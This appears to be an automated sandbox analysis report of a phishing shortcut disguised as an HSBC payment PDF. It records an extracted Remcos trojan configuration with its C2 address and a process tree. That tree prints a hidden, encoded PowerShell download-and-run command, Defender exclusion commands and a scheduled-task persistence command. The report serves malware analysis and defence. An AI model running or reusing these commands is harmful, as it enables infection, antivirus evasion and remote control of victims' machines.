Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-07-2024 11:02

General

  • Target

    Payment Advice__HSBC Banking.pdf.lnk

  • Size

    2KB

  • MD5

    a38b0a4d0768ba8ce7c73904b55ee9ff

  • SHA1

    a1a13ef45fcf88eaff3dcffba1fb2608aa07e3c8

  • SHA256

    3f2491926888db2c9d6c7b1a426ff41e1cd4a13bc922156a814b9fe3032ff809

  • SHA512

    4159cd37110d910624b8bb5c837e70668b3e6d795e1ab276ea32f5ab315509dedf11bd865d4c1be41f9cec698235453996939a0ac8a45f36a28a45bdf28b7cf8

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

204.10.160.230:7983

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-O7QOC3

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    Remcos

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Payment Advice__HSBC Banking.pdf.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1860
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cMD /c PowErsHell -EX bypAss -nOp -w hidden -eC IAAJAEkATgB2AG8ASwBFAC0AdwBFAGIAUgBlAHEAVQBFAHMAVAAgAC0AVQBSAGkAIAAJAB0gaAB0AHQAcABzADoALwAvAHIAZQBtAGkAcwBhAHQALgBjAG8AbQAuAHUAeQAvAHoAdABpAC8AaABvAHQALgBlAHgAZQAdICAALQBvAHUAVABGAGkATABlACAACQAdICQAZQBuAFYAOgBhAFAAcABkAGEAdABhAFwAUAB1AHQAdAB5AFQAZQBzAHQANwA3ADcALgBwAGkAZgAdICAAIAA7ACAACQBpAE4AdgBvAGsARQAtAGkAVABlAG0AIAAJAB0gJABFAG4AdgA6AGEAcABQAEQAYQB0AEEAXABQAHUAdAB0AHkAVABlAHMAdAA3ADcANwAuAHAAaQBmAB0g
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:316
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowErsHell -EX bypAss -nOp -w hidden -eC IAAJAEkATgB2AG8ASwBFAC0AdwBFAGIAUgBlAHEAVQBFAHMAVAAgAC0AVQBSAGkAIAAJAB0gaAB0AHQAcABzADoALwAvAHIAZQBtAGkAcwBhAHQALgBjAG8AbQAuAHUAeQAvAHoAdABpAC8AaABvAHQALgBlAHgAZQAdICAALQBvAHUAVABGAGkATABlACAACQAdICQAZQBuAFYAOgBhAFAAcABkAGEAdABhAFwAUAB1AHQAdAB5AFQAZQBzAHQANwA3ADcALgBwAGkAZgAdICAAIAA7ACAACQBpAE4AdgBvAGsARQAtAGkAVABlAG0AIAAJAB0gJABFAG4AdgA6AGEAcABQAEQAYQB0AEEAXABQAHUAdAB0AHkAVABlAHMAdAA3ADcANwAuAHAAaQBmAB0g
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1428
        • C:\Users\Admin\AppData\Roaming\PuttyTest777.pif
          "C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3968
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4816
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\HODoCxSdp.exe"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1224
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HODoCxSdp" /XML "C:\Users\Admin\AppData\Local\Temp\tmp6F11.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:3496
          • C:\Users\Admin\AppData\Roaming\PuttyTest777.pif
            "C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:404

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    3d086a433708053f9bf9523e1d87a4e8

    SHA1

    b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

    SHA256

    6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

    SHA512

    931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    85b8211edb020e07c166a2e14e172aed

    SHA1

    70b05952dde5ba1d2ba81e59eacb003f923f45b3

    SHA256

    87e4b5a7c923eb80db2ab3b4f65065593d04ba8b905f0fda9f2c67fa0b0c0ba0

    SHA512

    6a6e64b677b4049ca70b58fd2f5e6e314bc903863ca09c87df3691570e3df6d1980c6cd118f7a7d88c5987aa5940b69c5cda4eafe54afc0ac2a49c740f7e03fb

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    70595b5937369a2592a524db67e208d3

    SHA1

    d989b934d9388104189f365694e794835aa6f52f

    SHA256

    be09b93a020e2e86a0b3c7c3f3d3e2c45f888944b1036df738385ede16f595c8

    SHA512

    edb412886187a2740eb7e284b16838bdd9f011aba1f4581f1fed25a86cdfe9b2ab4df863edeb3db6b072805439d57b10f3e0a1f2daabe1ee56db275ad2ad61e5

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tasubeiq.b2k.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tmp6F11.tmp

    Filesize

    1KB

    MD5

    819587ec95ca0a7732660689afea5c73

    SHA1

    cca4b73ba8f978289cbf08282ea50ddcc29a75f1

    SHA256

    86b444b02f2e2c892c27fdb0f77dc82c508423da584d64b8db4fe985a0cc548e

    SHA512

    c85872fd911363284e580f8a525bec84ede468d632a6daaf0ea1e33a10cf7db67737ae543afaeb9434159fbf3072930bb7217e8bfe8652141fd3323207df8325

  • C:\Users\Admin\AppData\Roaming\PuttyTest777.pif

    Filesize

    939KB

    MD5

    3f69729a8f2b22e625bb984f28758ebc

    SHA1

    ab8aab5952dfcf0d705daff76448920c67b6241d

    SHA256

    d1b50fc6ce79320a88defef33baf6a51e30845bd13ab2b52f7925ba0b8f527cd

    SHA512

    c4622e82f66aa728ded76ef628bd31ddcd35581a10a6043e735e557a26c8f9c72c67713f29a3ed90f647bf268484b44cf812918a02aa8e1539c3fdac7bcc1fa1

  • memory/404-113-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/404-59-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/404-115-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/404-93-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/404-112-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/404-111-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/404-110-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/404-91-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/404-90-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/404-114-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/404-65-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/404-63-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/404-61-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1224-69-0x00000000751D0000-0x000000007521C000-memory.dmp

    Filesize

    304KB

  • memory/1224-101-0x0000000007BA0000-0x0000000007BAE000-memory.dmp

    Filesize

    56KB

  • memory/1224-38-0x0000000005820000-0x0000000005886000-memory.dmp

    Filesize

    408KB

  • memory/1224-46-0x0000000005FC0000-0x0000000006314000-memory.dmp

    Filesize

    3.3MB

  • memory/1224-37-0x0000000005760000-0x0000000005782000-memory.dmp

    Filesize

    136KB

  • memory/1224-95-0x0000000007FC0000-0x000000000863A000-memory.dmp

    Filesize

    6.5MB

  • memory/1224-35-0x0000000005890000-0x0000000005EB8000-memory.dmp

    Filesize

    6.2MB

  • memory/1224-98-0x0000000007BF0000-0x0000000007C86000-memory.dmp

    Filesize

    600KB

  • memory/1224-104-0x0000000007C90000-0x0000000007C98000-memory.dmp

    Filesize

    32KB

  • memory/1224-67-0x0000000006AB0000-0x0000000006AFC000-memory.dmp

    Filesize

    304KB

  • memory/1224-66-0x0000000006650000-0x000000000666E000-memory.dmp

    Filesize

    120KB

  • memory/1224-102-0x0000000007BB0000-0x0000000007BC4000-memory.dmp

    Filesize

    80KB

  • memory/1224-100-0x0000000007B70000-0x0000000007B81000-memory.dmp

    Filesize

    68KB

  • memory/1224-39-0x0000000005EC0000-0x0000000005F26000-memory.dmp

    Filesize

    408KB

  • memory/1224-89-0x0000000006C00000-0x0000000006C1E000-memory.dmp

    Filesize

    120KB

  • memory/1428-20-0x00007FF9EB9D0000-0x00007FF9EC491000-memory.dmp

    Filesize

    10.8MB

  • memory/1428-12-0x00007FF9EB9D0000-0x00007FF9EC491000-memory.dmp

    Filesize

    10.8MB

  • memory/1428-0-0x00007FF9EB9D3000-0x00007FF9EB9D5000-memory.dmp

    Filesize

    8KB

  • memory/1428-3-0x000001F8F6070000-0x000001F8F6092000-memory.dmp

    Filesize

    136KB

  • memory/1428-11-0x00007FF9EB9D0000-0x00007FF9EC491000-memory.dmp

    Filesize

    10.8MB

  • memory/3968-27-0x0000000005460000-0x000000000546E000-memory.dmp

    Filesize

    56KB

  • memory/3968-28-0x0000000005490000-0x000000000549E000-memory.dmp

    Filesize

    56KB

  • memory/3968-21-0x0000000000790000-0x000000000087E000-memory.dmp

    Filesize

    952KB

  • memory/3968-22-0x00000000052A0000-0x0000000005332000-memory.dmp

    Filesize

    584KB

  • memory/3968-23-0x00000000058F0000-0x0000000005E94000-memory.dmp

    Filesize

    5.6MB

  • memory/3968-24-0x00000000053C0000-0x00000000053CA000-memory.dmp

    Filesize

    40KB

  • memory/3968-25-0x0000000006570000-0x000000000660C000-memory.dmp

    Filesize

    624KB

  • memory/3968-26-0x0000000006A10000-0x0000000006AE0000-memory.dmp

    Filesize

    832KB

  • memory/3968-29-0x0000000006B10000-0x0000000006BCE000-memory.dmp

    Filesize

    760KB

  • memory/4816-70-0x00000000751D0000-0x000000007521C000-memory.dmp

    Filesize

    304KB

  • memory/4816-34-0x0000000002460000-0x0000000002496000-memory.dmp

    Filesize

    216KB

  • memory/4816-103-0x00000000073D0000-0x00000000073EA000-memory.dmp

    Filesize

    104KB

  • memory/4816-68-0x0000000006340000-0x0000000006372000-memory.dmp

    Filesize

    200KB

  • memory/4816-96-0x0000000007100000-0x000000000710A000-memory.dmp

    Filesize

    40KB

  • memory/4816-92-0x0000000006D50000-0x0000000006DF3000-memory.dmp

    Filesize

    652KB

  • memory/4816-94-0x0000000007090000-0x00000000070AA000-memory.dmp

    Filesize

    104KB